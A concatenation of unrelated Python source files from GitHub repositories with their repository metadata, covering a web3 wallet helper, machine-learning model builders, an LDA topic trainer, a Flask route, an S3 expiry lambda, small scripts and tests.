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import json from constants import user from utils.api import w3 from utils.log import logger, log_path import datetime """ 此模块提供 web3 ipc接口 """ class EthInit(object): def __init__(self): self.log = {} def commit(self, method, param, ret): t = datetime.datetime.now().strftime('%Y-%m-%d_%H:%M:%S') self.log.__setitem__(method, [t, param, ret]) logger.info(ret) def __del__(self): t = datetime.datetime.now().strftime('%Y-%m-%d_%H:%M:%S') with open('{}/{}.info'.format(log_path, t), 'a+') as f: f.write(json.dumps(self.log, indent=4)) def is_address(self, param): ret = w3.isAddress(param) self.commit('is_address', param, ret) return ret def get_balance(self, param): account = param ret = w3.eth.getBalance(account) self.commit('get_balance', param, ret) return ret def keccak(self, param): # 代替 sha 方法 # >> > Web3.keccak(0x747874) # >> > Web3.keccak(b'\x74\x78\x74') # >> > Web3.keccak(hexstr='0x747874') # >> > Web3.keccak(hexstr='747874') # >> > Web3.keccak(text='txt') if type(param) is dict: ret = w3.keccak(**param) else: ret = w3.keccak(param) self.commit('keccak', param, ret) return ret def unlock(self, account, passphrase): param = (account, passphrase) ret = w3.geth.personal.unlock_account(account, passphrase) self.commit('unlock', param, ret) return ret @staticmethod def get_private_key(key_store_file_path, passphrase): # 2020/12/8 获取私钥 with open(key_store_file_path, "r") as file: encrypted_key = file.read() p_key = w3.eth.account.decrypt(encrypted_key, passphrase) import binascii p_key = str(binascii.b2a_hex(p_key)) return p_key if __name__ == '__main__': a = EthInit() # a.is_address('0x2cc7fc9f579fd5fed62633548b2ca11bd029f779') # a.get_balance(user) # a.keccak() del a

[ "your_email" ]

your_email

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[]

no_license

sk-unikent/icarus-scripts

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# # Example Tensorflow Application # import tensorflow as tf hello = tf.constant('Hello, TensorFlow!') sess = tf.Session() print(sess.run(hello))

[ "s.kelty@kent.ac.uk" ]

s.kelty@kent.ac.uk

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aa275ff12772d65dac29c386b84ea80381017c68

[]

no_license

myknotruby/recognition

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refs/heads/master

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UTF-8

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11,034

py

import os, sys import mxnet as mx import numpy as np import symbol_utils import math #from mxnet.base import _Null import symbol_utils sys.path.append(os.path.join(os.path.dirname(__file__), '..')) from config import config withBN = True bn_mom = 0.9 def conv_branch_pool(data, units, filters, workspace): body = data #body = mx.sym.Convolution(data=body, no_bias=False, num_filter=32, kernel=(5, 5), stride=(2,2), pad=(2, 2), body = mx.sym.Convolution(data=body, no_bias=False, num_filter=24, kernel=(3, 3), stride=(1,1), pad=(1, 1), name= "conv%d_%d"%(0, 1), workspace=workspace) if withBN: bn = mx.sym.BatchNorm(data=body, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=("bn%d_%d" % (0, 1))) body = mx.sym.LeakyReLU(data=bn, act_type='leaky', name="relu%d_%d" % (0, 1)) else: body = mx.sym.LeakyReLU(data = body, act_type='prelu', name = "relu%d_%d" % (0, 1)) for i in xrange(len(units)): f = filters[i] idx = 1 if i>=1: _weight = mx.symbol.Variable("conv%d_%d_weight"%(i+1, idx), lr_mult=1.0) _bias = mx.symbol.Variable("conv%d_%d_bias"%(i+1, idx), lr_mult=2.0, wd_mult=0.0) body1 = mx.sym.Convolution(data=body, weight = _weight, bias = _bias, num_filter=f, kernel=(3, 3), stride=(2,2), pad=(1, 1), name= "conv%d_%d"%(i+1, idx), workspace=workspace) if withBN: bn = mx.sym.BatchNorm(data=body1, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=("bn%d_%d" % (i+1, idx))) #body1 = mx.sym.LeakyReLU(data=bn, act_type='leaky', name="relu%d_%d" % (i+1, idx)) body1 = mx.sym.Activation(data=bn, act_type='relu', name="relu%d_%d" % (i+1, idx)) else: body1 = mx.sym.LeakyReLU(data = body1, act_type='prelu', name = "relu%d_%d" % (i+1, idx)) idx += 1 _weight = mx.symbol.Variable("conv%d_%d_weight"%(i+1, idx), lr_mult=1.0) _bias = mx.symbol.Variable("conv%d_%d_bias"%(i+1, idx), lr_mult=2.0, wd_mult=0.0) body1 = mx.sym.Convolution(data=body1, weight=_weight, bias=_bias, num_filter=f, kernel=(3, 3), stride=(1,1), pad=(1, 1), name= "conv%d_%d"%(i+1, idx), workspace=workspace) if withBN: body1 = mx.sym.BatchNorm(data=body1, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=("bn%d_%d" % (i+1, idx))) ##body1 = mx.sym.LeakyReLU(data=bn, act_type='relu', name="relu%d_%d" % (i+1, idx)) else: body1 = mx.sym.LeakyReLU(data = body1, act_type='prelu', name = "relu%d_%d" % (i+1, idx)) idx += 1 body = mx.sym.Pooling(data = body, global_pool=False, kernel=(2,2), stride=(2,2),pool_type='avg', pooling_convention='full',name='pool%d_%d'%(i+1, idx)) idx += 1 _weight = mx.symbol.Variable("conv%d_%d_weight"%(i+1, idx), lr_mult=1.0) _bias = mx.symbol.Variable("conv%d_%d_bias"%(i+1, idx), lr_mult=2.0, wd_mult=0.0) body = mx.sym.Convolution(data=body, weight=_weight, bias=_bias, num_filter=f, kernel=(1, 1), stride=(1, 1), pad=(0, 0), name= "conv%d_%d"%(i+1, idx), workspace=workspace) if withBN: body = mx.sym.BatchNorm(data=body, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=("bn%d_%d" % (i+1, idx))) ##body = mx.sym.LeakyReLU(data=bn, act_type='relu', name="relu%d_%d" % (i+1, idx)) else: body = mx.sym.LeakyReLU(data = body, act_type='prelu', name = "relu%d_%d" % (i+1, idx)) body = body1 + body idx += 1 for j in xrange(units[i]): _body = mx.sym.Convolution(data=body, no_bias=True, num_filter=f, kernel=(3, 3), stride=(1,1), pad=(1, 1), name= "conv%d_%d"%(i+1, idx), workspace=workspace) if withBN: bn = mx.sym.BatchNorm(data=_body, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=("bn%d_%d" % (i+1, idx))) #_body = mx.sym.LeakyReLU(data=bn, act_type='leaky', name="relu%d_%d" % (i+1, idx)) _body = mx.sym.Activation(data=bn, act_type='relu', name="relu%d_%d" % (i+1, idx)) else: _body = mx.sym.LeakyReLU(data = _body, act_type='prelu', name = "relu%d_%d" % (i+1, idx)) idx+=1 _body = mx.sym.Convolution(data=_body, no_bias=True, num_filter=f, kernel=(3, 3), stride=(1,1), pad=(1, 1), name= "conv%d_%d"%(i+1, idx), workspace=workspace) if withBN: _body = mx.sym.BatchNorm(data=_body, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=("bn%d_%d" % (i+1, idx))) ##_body = mx.sym.LeakyReLU(data=bn, act_type='relu', name="relu%d_%d" % (i+1, idx)) else: _body = mx.sym.LeakyReLU(data = _body, act_type='prelu', name = "relu%d_%d" % (i+1, idx)) idx+=1 body = body+_body node = len(units)+1 body = mx.sym.Convolution(data=body, no_bias=False, num_filter=512, kernel=(1, 1), stride=(1,1), pad=(0, 0), name= "conv%d_%d"%(node, 1), workspace=workspace) if withBN: bn = mx.sym.BatchNorm(data=body, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=("bn%d_%d" % (node, idx))) #body = mx.sym.LeakyReLU(data=bn, act_type='leaky', name="relu%d_%d" % (node, idx)) body = mx.sym.Activation(data=bn, act_type='relu', name="relu%d_%d" % (node, idx)) else: body = mx.sym.LeakyReLU(data = body, act_type='prelu', name = "relu%d_%d" % (node, idx)) #import pdb; pdb.set_trace() return body def conv_main(data, units, filters, workspace): body = data body = mx.sym.Convolution(data=body, no_bias=True, num_filter=32, kernel=(3, 3), stride=(1,1), pad=(1, 1), name= "conv%d_%d"%(0, 1), workspace=workspace) body = mx.sym.LeakyReLU(data = body, act_type='prelu', name = "relu%d_%d" % (0, 1)) for i in xrange(len(units)): f = filters[i] idx = 1 _weight = mx.symbol.Variable("conv%d_%d_weight"%(i+1, idx), lr_mult=1.0) _bias = mx.symbol.Variable("conv%d_%d_bias"%(i+1, idx), lr_mult=2.0, wd_mult=0.0) body1 = mx.sym.Convolution(data=body, weight = _weight, bias = _bias, num_filter=f, kernel=(3, 3), stride=(2,2), pad=(1, 1), name= "conv%d_%d"%(i+1, idx), workspace=workspace) body1 = mx.sym.LeakyReLU(data = body1, act_type='prelu', name = "relu%d_%d" % (i+1, idx)) idx += 1 _weight = mx.symbol.Variable("conv%d_%d_weight"%(i+1, idx), lr_mult=1.0) _bias = mx.symbol.Variable("conv%d_%d_bias"%(i+1, idx), lr_mult=2.0, wd_mult=0.0) body1 = mx.sym.Convolution(data=body1, weight=_weight, bias=_bias, num_filter=f, kernel=(3, 3), stride=(1,1), pad=(1, 1), name= "conv%d_%d"%(i+1, idx), workspace=workspace) body1 = mx.sym.LeakyReLU(data = body1, act_type='prelu', name = "relu%d_%d" % (i+1, idx)) idx += 1 body = mx.sym.Pooling(data = body, global_pool=False, kernel=(2,2), stride=(2,2),pool_type='avg', pooling_convention='full', name='pool%d_%d'%(i+1, idx)) idx += 1 _weight = mx.symbol.Variable("conv%d_%d_weight"%(i+1, idx), lr_mult=1.0) _bias = mx.symbol.Variable("conv%d_%d_bias"%(i+1, idx), lr_mult=2.0, wd_mult=0.0) body = mx.sym.Convolution(data=body, weight=_weight, bias=_bias, num_filter=f, kernel=(1, 1), stride=(1,1), pad=(0, 0), name= "conv%d_%d"%(i+1, idx), workspace=workspace) body = mx.sym.LeakyReLU(data = body, act_type='prelu', name = "relu%d_%d" % (i+1, idx)) body = body1 + body idx += 1 for j in xrange(units[i]): _body = mx.sym.Convolution(data=body, no_bias=True, num_filter=f, kernel=(3, 3), stride=(1,1), pad=(1, 1), name= "conv%d_%d"%(i+1, idx), workspace=workspace) _body = mx.sym.LeakyReLU(data = _body, act_type='prelu', name = "relu%d_%d" % (i+1, idx)) idx+=1 _body = mx.sym.Convolution(data=_body, no_bias=True, num_filter=f, kernel=(3, 3), stride=(1,1), pad=(1, 1), name= "conv%d_%d"%(i+1, idx), workspace=workspace) _body = mx.sym.LeakyReLU(data = _body, act_type='prelu', name = "relu%d_%d" % (i+1, idx)) idx+=1 body = body+_body return body def get_symbol(): _dtype = config.dtype num_classes = config.emb_size fc_type = 'E' #config.net_output workspace = config.workspace num_layers = config.num_layers if num_layers==64: units = [3,8,16,3] filters = [64,128,256,512] elif num_layers==20: units = [1,2,4,1] filters = [64,128,256,512] #filters = [64, 256, 512, 1024] elif num_layers==36: units = [2,4,8,2] filters = [64,128,256,512] #filters = [64, 256, 512, 1024] elif num_layers==44: units = [3,4,4,4,3] filters = [16,32,64,128,256] elif num_layers==60: units = [3,8,14,3] filters = [64,128,256,512] elif num_layers==68: units = [3,4,8,12,3] filters = [16,32,64,128,256] elif num_layers==74: units = [3,6,8,12,3] filters = [24,32,64,128,256] #filters = [32,64,128,256,256] elif num_layers==104: units = [3,8,36,3] filters = [64,128,256,512] #filters = [64, 256, 512, 1024] data = mx.symbol.Variable('data') data = data-127.5 data = data*0.0078125 if _dtype == 'float16': data = mx.sym.Cast(data, dtype=np.float16) body = None if num_layers==44 or num_layers==68 or num_layers==74: body = conv_branch_pool(data = data, units = units, filters = filters, workspace = workspace) else: body = conv_main(data = data, units = units, filters = filters, workspace = workspace) #_weight = mx.symbol.Variable("fc1_weight", lr_mult=1.0) #_bias = mx.symbol.Variable("fc1_bias", lr_mult=2.0, wd_mult=0.0) #fc1 = mx.sym.FullyConnected(data=body, weight=_weight, bias=_bias, num_hidden=num_classes, name='fc1') if _dtype == 'float16': body = mx.sym.Cast(body, dtype=np.float16) fc1 = symbol_utils.get_fc1(body, num_classes, fc_type) if _dtype == 'float16': fc1 = mx.sym.Cast(fc1, dtype=np.float32) #fc1 = mx.sym.Pooling(data = body, global_pool=True, kernel=(2,2), stride=(2,2),pool_type='avg', pooling_convention='full', name='pool_fc1') return fc1 def init_weights(sym, data_shape_dict, num_layers): arg_name = sym.list_arguments() aux_name = sym.list_auxiliary_states() arg_shape, aaa, aux_shape = sym.infer_shape(**data_shape_dict) #print(data_shape_dict) #print(arg_name) #print(arg_shape) arg_params = {} aux_params = None #print(aaa) #print(aux_shape) arg_shape_dict = dict(zip(arg_name, arg_shape)) aux_shape_dict = dict(zip(aux_name, aux_shape)) #print(aux_shape) #print(aux_params) #print(arg_shape_dict) for k,v in arg_shape_dict.iteritems(): if k.startswith('conv') and k.endswith('_weight'): if not k.find('_1_')>=0: if num_layers<100: arg_params[k] = mx.random.normal(0, 0.01, shape=v) print('init', k) if k.endswith('_bias'): arg_params[k] = mx.nd.zeros(shape=v) print('init', k) return arg_params, aux_params

[ "zhzhaoliang@126.com" ]

zhzhaoliang@126.com

606a16df0456b41332cf3ba90a58e11843c23db5

dcc2aca1755516c165f8fc5d3e0bcaac96ddbac6

/LDA/LDA_Train.py

0476f09897774296705c0f29156a204f2d980a3b

[]

no_license

maurercartan/GIGABYTE_FuzzyQuery

4fb97c859b293f6cf14e6c8bfad8f81479116568

83e8035e37bb7e028dea9740f6b26e1ab94f2a1b

refs/heads/master

2021-03-01T10:16:12.566919

2020-03-08T14:38:56

245,776,815

0

null

UTF-8

Python

false

6,371

py

__author__ = 'user' from gensim import corpora, models import jieba import os import configparser import pickle import pymysql import pymysql.cursors def getCorpus(dbHost,dbUser,dbPassword,dbDatabase,dbTable): # 匯入檔案內容 config = configparser.ConfigParser() myINI = os.getcwd()+'\\LDA\\dict.ini' config.read(myINI,encoding='utf-8') stopword = os.getcwd()+"\\LDA\\stop_words.txt" lowFreq = os.getcwd()+"\\LDA\\lowFrequency.txt" userDefine = os.getcwd()+"\\LDA\\user_define.txt" courses_name = [] texts_stemmed = [] stopwordList = open(stopword,'r',encoding='utf-8').readlines()[0].split(',') userDefineList = open(userDefine,'r',encoding='utf-8').readlines()[0].split(',') symbol = ['+','-','*','/','\\','=','_','(',')','&','^','.','%','$','#','@','!','`','~','＋','－','＊','／','＼','＝','＿','（','）','＆','︿','．','，','％','＄','＃','＠','！','‵','～','\'','"','’',',',' ','　','’','＂','\r\n'] # 加入使用者自定義詞彙 for item in userDefineList: jieba.add_word(item,999999) connStr = pymysql.connect(host=dbHost, user=dbUser, password=dbPassword, db=dbDatabase, charset='utf8mb4', cursorclass=pymysql.cursors.DictCursor) conn = connStr.cursor() sql = 'select id,name,text,dir_path from '+dbTable+' where isNew=\'1\';' conn.execute(sql) for row in conn: courses_name.append(row['dir_path']+'/'+row['name']) # 讀取內容 document = row['text'].lower() # 結巴分詞(含stopword與標點符號的過濾) myJ = jieba.cut(document) new_doc = {} # document的(詞彙list) # print("id = ",row['id']) if row['name']!="": if "id_"+str(row['id']) not in config.sections(): config.add_section("id_"+str(row['id'])) for word in myJ: word = noSymbo(word,symbol) if not word in stopwordList \ and not word.isnumeric()\ and len(word)>1: if word in new_doc.keys(): new_doc[word] += 1 else: new_doc[word] = 1 for word in new_doc.keys(): config.set("id_"+str(row['id']),word,str(new_doc[word])) config.write(open(myINI, 'w',encoding='utf-8')) texts_stemmed.append(new_doc) conn.close() conn_2 = connStr.cursor() sql_2 = "UPDATE info SET isNew = '0' WHERE isNew = '1'" conn_2.execute(sql_2) connStr.commit() conn_2.close() connStr.close() # 合併字典 from collections import Counter all_stems = {} for item in texts_stemmed: all_stems = dict(Counter(all_stems)+Counter(item)) # 取出(低頻詞彙,詞頻=1) for item in all_stems.keys(): if all_stems[item]==1: with open(lowFreq,'a',encoding='utf-8') as f: f.write(item+",") def Training(numTopic=100): import time start = time.time() print("***預處理***") lowFreq = os.getcwd()+"\\LDA\\lowFrequency.txt" stems_once = [] f = open(lowFreq,'r',encoding='utf-8') for item in f.readlines()[0].split(','): try: # print(item) stems_once.append(item) except: pass f.close() # 去除低頻詞彙(詞頻=1時,則移除) config = configparser.ConfigParser() myINI = os.getcwd()+'\\LDA\\dict.ini' config.read(myINI,encoding='utf-8') texts = [] courses_id = [] for section in config.sections(): myID = section.replace("id_","") print(myID) courses_id.append(myID) myList = [] for key in config.options(section): if key not in stems_once: for i in range(int(config.get(section,key))): myList.append(key) texts.append(myList) print("***花費秒數 = ",round(start-time.time(),5),"***") print("***訓練LDA模型***") start = time.time() # 訓練LDA模型(topic=100) lda_path = os.getcwd()+'\\LDA\\lda.pkl' lda_name = os.getcwd()+'\\LDA\\name.pkl' lda_corpus = os.getcwd()+'\\LDA\\corpus.pkl' print("***建立詞袋***") # 建立詞袋 dictionary = corpora.Dictionary(texts) print("***花費秒數 = ",round(time.time()-start,5),"***") print("***建立文檔矩陣***") # 建立文檔矩陣 corpus = [dictionary.doc2bow(text) for text in texts] print("***花費秒數 = ",round(time.time()-start,5),"***") print("***計算TF-IDF***") # 計算TF-IDF tfidf = models.TfidfModel(corpus) corpus_tfidf = tfidf[corpus] lda = models.LdaModel(corpus_tfidf, id2word=dictionary, num_topics=numTopic, gamma_threshold=0.0001, iterations=1000, passes=1) print("***花費秒數 = ",round(time.time()-start,5),"***") with open(lda_path, 'wb') as f: pickle.dump(lda, f, pickle.HIGHEST_PROTOCOL) with open(lda_name, 'wb') as f: pickle.dump(courses_id, f, pickle.HIGHEST_PROTOCOL) with open(lda_corpus, 'wb') as f: pickle.dump(corpus, f, pickle.HIGHEST_PROTOCOL) print("***訓練完成***") def noSymbo(word,symbol): for item in symbol: while(str(word).__contains__(item)): word = word.replace(item,"") return word def main(): config_path = os.getcwd()+'\\config.cfg' config = configparser.ConfigParser() config.read(config_path) dbHost = config.get('ARGUMENT', 'HOST').strip('"') dbUser = config.get('ARGUMENT', 'USER').strip('"') dbPassword = config.get('ARGUMENT', 'PASSWORD').strip('"') dbDatabase = config.get('ARGUMENT', 'DATABASE_NAME').strip('"') dbTable = config.get('ARGUMENT', 'DATABASE_TABLE').strip('"') numTopic = config.get('ARGUMENT','NUM_TOPIC').strip('"') getCorpus(dbHost,dbUser,dbPassword,dbDatabase,dbTable) Training(numTopic) if __name__ == "__main__": main()

[ "noreply@github.com" ]

maurercartan.noreply@github.com

10de3e566c9cad31ae3f3f9601990deb0378c7c4

f19e8b0c8c5ff38c6bbfce16c6d2ee976c964ffe

/tests/wpt/something.py

10d52a0c04684fa7ff5b88cee8ec4b7fbe0bbb02

[]

no_license

jdm/servo-mock

2d5fcffe5781846911844be103b1da3e9177e557

a52e82dffac424376031eb8bb5e7129c80eb0dea

refs/heads/master

2021-04-09T15:07:13.742809

2018-03-16T20:36:22

125,684,927

0

null

UTF-8

Python

false

31

py

print('this is a python file')

[ "josh@joshmatthews.net" ]

josh@joshmatthews.net

e346a931953ea62760ea6dc50e3a102aa937f7cd

bf5fd174005c08cc5b616165c2f4f6dc23e4510c

/bin/python-config

b9211a3f94fc6ca0a85a6904d914769311a784b3

[]

no_license

adnanjam/gpa

805b204c5b4adf3f6fa09ec19cea84c0925fb484

b0fe0931153dea242618c0e635473057e3bf07de

refs/heads/master

2021-03-13T17:59:13.917922

2020-12-21T10:08:50

246,698,109

0

1

null

2020-12-21T10:08:52

2020-03-11T23:08:56

Python

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Python

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2,342

#!/home/adnan/projects/gpa/bin/python import sys import getopt import sysconfig valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags', 'ldflags', 'help'] if sys.version_info >= (3, 2): valid_opts.insert(-1, 'extension-suffix') valid_opts.append('abiflags') if sys.version_info >= (3, 3): valid_opts.append('configdir') def exit_with_usage(code=1): sys.stderr.write("Usage: {0} [{1}]\n".format( sys.argv[0], '|'.join('--'+opt for opt in valid_opts))) sys.exit(code) try: opts, args = getopt.getopt(sys.argv[1:], '', valid_opts) except getopt.error: exit_with_usage() if not opts: exit_with_usage() pyver = sysconfig.get_config_var('VERSION') getvar = sysconfig.get_config_var opt_flags = [flag for (flag, val) in opts] if '--help' in opt_flags: exit_with_usage(code=0) for opt in opt_flags: if opt == '--prefix': print(sysconfig.get_config_var('prefix')) elif opt == '--exec-prefix': print(sysconfig.get_config_var('exec_prefix')) elif opt in ('--includes', '--cflags'): flags = ['-I' + sysconfig.get_path('include'), '-I' + sysconfig.get_path('platinclude')] if opt == '--cflags': flags.extend(getvar('CFLAGS').split()) print(' '.join(flags)) elif opt in ('--libs', '--ldflags'): abiflags = getattr(sys, 'abiflags', '') libs = ['-lpython' + pyver + abiflags] libs += getvar('LIBS').split() libs += getvar('SYSLIBS').split() # add the prefix/lib/pythonX.Y/config dir, but only if there is no # shared library in prefix/lib/. if opt == '--ldflags': if not getvar('Py_ENABLE_SHARED'): libs.insert(0, '-L' + getvar('LIBPL')) if not getvar('PYTHONFRAMEWORK'): libs.extend(getvar('LINKFORSHARED').split()) print(' '.join(libs)) elif opt == '--extension-suffix': ext_suffix = sysconfig.get_config_var('EXT_SUFFIX') if ext_suffix is None: ext_suffix = sysconfig.get_config_var('SO') print(ext_suffix) elif opt == '--abiflags': if not getattr(sys, 'abiflags', None): exit_with_usage() print(sys.abiflags) elif opt == '--configdir': print(sysconfig.get_config_var('LIBPL'))

[ "addnan_98@hotmail.com" ]

addnan_98@hotmail.com

f5333922296905d8036b63e545886b126daa6b78

09dbecd235fb0108d0e64a0be9c40d938fa5155e

/itoit/Views/capitalBancaView.py

8bca40254ea3cb7741b816c0be4928c199f0d8d0

[]

no_license

ItoIT/Smarthack-ItoIT

ea0d06fc672413508ea0e409f7e1caf0c3596919

405a054f06719a249d29178cbf2a7c1efc1c7145

refs/heads/main

2023-01-04T01:03:52.628973

2020-11-01T09:13:01

308,851,461

1

0

null

2020-11-01T00:29:42

2020-10-31T09:56:17

JavaScript

UTF-8

Python

false

767

py

from flask import render_template, url_for, redirect, request from flask_login import login_user, current_user, logout_user, login_required from itoit import app, db from itoit.Models import models @app.route("/capitalbanca", methods=['GET']) def capitalbanca_get(): firm = models.Firm.query.filter(models.Firm.user_id==current_user.id).first() return render_template("capitalbanca.jinja", user=current_user, firm=firm) @app.route("/capitalbanca", methods=['POST']) def capitalbanca_post(): firm = models.Firm.query.filter(models.Firm.user_id==current_user.id).first() firm.factura_capital = request.files['completatebanca'].read() firm.feedback = None db.session.add(firm) db.session.commit() return redirect(url_for("acte_get"))

[ "48451420+PredaMihaiDragos@users.noreply.github.com" ]

48451420+PredaMihaiDragos@users.noreply.github.com

9af9714d90dbab4214db386ac0e87a3796cbc58d

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/Test/test1.py

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[]

no_license

keeees/RaspberryPi

46a4389d52d57c9dd09fbbe8d50b87147f112d0c

7129f29c52c945d6a929489b19999f6904c3f7b7

refs/heads/master

2020-09-03T05:25:33.099078

2020-03-22T03:24:11

219,396,544

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UTF-8

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578

py

import wget import time from ftplib import FTP clock_start = time.clock() time_start = time.time() for i in range(1): url = 'http://192.168.50.142:8000/test.jpg' filename = wget.download(url) clock_end = time.clock() time_end = time.time() # time.sleep(0.25) duration_clock = clock_end - clock_start print ('clock: start = ',clock_start, ' end = ',clock_end) print ('clock: duration_clock = ', duration_clock) duration_time = time_end - time_start print ('time: start = ',time_start, ' end = ',time_end) print ('time: duration_time = ', duration_time)

[ "kesun5@illinois.edu" ]

kesun5@illinois.edu

1cae6677eccc4f88be48e2943c4890ce8ab007a3

b977c156350bdd9361facaa8a0a28a3eab0b2818

/acbmc/model/blender/constructing/bone_transform_node_factory.py

d77071dfe63610bd70b6da4849c75a683bce17f7

[]

no_license

Spinu2b/AnimatedCharacterBlenderModelConstructor

0df38578ae6bdfa32e54e909b30a313f70d1a55b

134257436e2edc812de8df247b7365bef2663b01

refs/heads/master

2023-06-06T13:36:15.099556

2021-06-20T20:52:48

2021-06-20T21:01:52

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UTF-8

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false

446

py

from acbmc.util.model.transform_node import TransformNode from acbmc.model.blender.model.armature.bone_transform_node import BoneTransformNode class BoneTransformNodeFactory: @staticmethod def get_from_bind_bone_pose(bone_name: str, bind_bone_pose: TransformNode) -> BoneTransformNode: result = BoneTransformNode() result.bone_name = bone_name result.bone_transform = bind_bone_pose.copy() return result

[ "spinu2b@gmail.com" ]

spinu2b@gmail.com

e01b8a34f7b5f66a12bde734e35f4d172d5c53be

84da878d832a36804eb60372225c93fe12cd7e9c

/abc/135/a.py

dd2db216c4b09ab70e8006aaa98acc852ab364b5

[]

no_license

gensasaki/atcoder

abb6be93dffa2f6d8a98a668d659cff04979017a

6ce7bb5f8e7b18e76b4a1a30191b8e326cbe3d6a

refs/heads/master

2020-11-24T21:20:29.883464

2019-12-19T05:03:53

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UTF-8

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false

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py

A, B = map(int, input().split()) K = (A + B) / 2 ans = int(K) if (A + B) % 2 == 0 else "IMPOSSIBLE" print(ans)

[ "sasakigen11@gmail.com" ]

sasakigen11@gmail.com

006fe964512bd31ae8ce8bffbf812f67aeeede45

63045bfda2cfa3b4908c62da8553c8ba9be7dd5c

/lambdas/s3ttl.py

0329336640da8edf768ab39d0eae32db8e2cde5a

[]

no_license

chalfant/s3-ttl-lambda

9b75e02f31a85e3c30ea69099fc11c563190e8bc

68635c9b330fb76f5b940c76b8920fcce2168e7c

refs/heads/master

2020-07-28T06:12:35.470279

2019-09-17T22:23:48

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null

2019-09-18T14:49:39

2019-09-18T14:49:38

null

UTF-8

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py

import json import boto3 import os from datetime import datetime, tzinfo # import pytz # utc=pytz.UTC BUCKET = os.environ['S3_BUCKET'] LOG_LEVEL = os.environ['LOG_LEVEL'] TTL_HOURS = os.environ['TTL_HOURS'] s3 = boto3.resource('s3') bucket = s3.Bucket(BUCKET) def conv_secs_to_hours(seconds): return seconds/60/60 def should_delete(last_modified, ttl): now = datetime.utcnow() # print(f'\tnow - ts > ttl {now} - {last_modified} > {ttl}') diff = now.replace(tzinfo=None) - last_modified.replace(tzinfo=None) diffseconds = diff.total_seconds() diffhours = conv_secs_to_hours(diffseconds) # print(f'\tdiff hours: {diffhours}') return diffhours > int(ttl) def handler(event, context): print(event) object_summary_iterator = bucket.objects.all() print('') things_to_delete = [] for item in object_summary_iterator: print(item) # print(f'\tlast_modified: {item.last_modified}') yesno = should_delete(item.last_modified, TTL_HOURS) print(f'\tshould delete? {yesno}') if yesno: print(f'deleting {item.key} from {item.bucket}') item.delete()

[ "rayjan.wilson@gmail.com" ]

rayjan.wilson@gmail.com

fbe96a843221eda18802199f2e7ee8c93a84406a

33e021e80fa1a3f41845e118b2e1101072c3eb84

/bankroll.py

a7da19354e37f5052ab4e32e131e1db15eee65c6

[]

no_license

haoyang1234/bitcoin

121034bf856551b9e2151078cbc684bab5c3ab23

532d3c2a06ca61b5ebdc0eeacf74eeea11bed4b6

refs/heads/master

2022-04-17T16:31:41.628981

2020-02-17T21:44:31

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UTF-8

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903

py

# -*- coding: utf-8 -*- """ Created on Wed Apr 10 14:13:51 2019 @author: Hao """ import os import json import glob import numpy as np import pandas as pd total_pnl = [] name = [] folder1 = "C:\\Users\\Hao\\Desktop\\bitrepo\\Pumpdump&needlecatcher\\Pc-Po 99.5\\" folder2 = "D:\\bitrepo\\Pumpdump&needlecatcher\\FebAplcsv\\" result_folder = folder2 # CHANGE THIS TO ADJUST IT TO YOUR FOLDER os.chdir(result_folder) for file in glob.glob('*.csv'): read_in_file = result_folder + file pair_name = file print(pair_name) a = pd.read_csv(read_in_file) # reading CSV pnl = a['pnl'].tolist() total_pnl.append(pnl) name.append(pair_name[:-4]) data_transposed = zip(total_pnl) df = pd.DataFrame(total_pnl) df = df.transpose() total_sum = df.sum(axis=1, skipna=True) a = total_sum[1372:] N = 1440 daily = a.groupby(a.index // N).sum() print('done')

[ "noreply@github.com" ]

haoyang1234.noreply@github.com

2f183e94cac3a5db6b91056570d9c6600e246688

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/tests/update_notify_cloudify_configuration/test_copy_ssl_cert.py

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[]

no_license

cloudify-cosmo/cloudify-managed-nagios-plugin

14173b019c286a94be367d5d0a79c14b0f5a9413

1b9681130a78af5db2d60cb3996dc549d847ef6e

refs/heads/master

2023-08-01T13:35:27.623384

2022-12-01T19:11:36

148,599,978

0

9

null

2023-04-09T14:53:41

2018-09-13T07:33:33

Python

UTF-8

Python

false

536

py

import mock import tests.links.update_notify_cloudify_configuration as update_config @mock.patch('tests.links.update_notify_cloudify_configuration.run') def test_copy_cert(run): expected_source_path = 'thepathwewant' config = { 'something': 'yes', 'local_rest_cert_file': expected_source_path, 'other': 'no', } update_config.copy_ssl_cert(config) run_args = run.call_args_list[0][0][0] assert expected_source_path in run_args assert update_config.NOTIFY_PLUGIN_CERT in run_args

[ "nobody@nowhere.local" ]

nobody@nowhere.local

bb70c83fe48f0a14c8eb090192a8cc964f4e028c

049c4629c466676950bc0adcfd2690028297ba01

/DJANGO_MOVIE/movies/migrations/0001_initial.py

0f33aef5d89b6a16bbee878479dcabbd1d6dbec7

[]

no_license

bernow/Python

2027a674d47dd1b3322c3678f1efa0082a742d5b

04aa7b5236047e076c76c07dfa98286c7e24ae64

refs/heads/master

2020-08-24T04:56:32.456972

2019-11-19T08:23:39

216,765,571

0

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UTF-8

Python

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py

# Generated by Django 2.2.6 on 2019-11-05 11:05 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Genre', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=100)), ], ), migrations.CreateModel( name='Movie', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=100)), ('audience', models.IntegerField()), ('poster_url', models.TextField()), ('description', models.TextField()), ('genre_id', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='movies.Genre')), ], ), migrations.CreateModel( name='Score', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('content', models.CharField(max_length=100)), ('score', models.IntegerField()), ('movie_id', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='movies.Movie')), ], ), ]

[ "kok9591@naver.com" ]

kok9591@naver.com

a4f65bb6a45b521a60fef3ecc1413da2148a87d7

26b134b48a5556baa0ab8c80dd030d07f3277a46

/tests/apps/python/web.py

b3e8ef72812a573a4b5a9005d8dccb9fbfa47032

[ "MIT" ]

permissive

srr013/dokku

376ac5e6fcfce6ba38e11cbece2a2532c401ea35

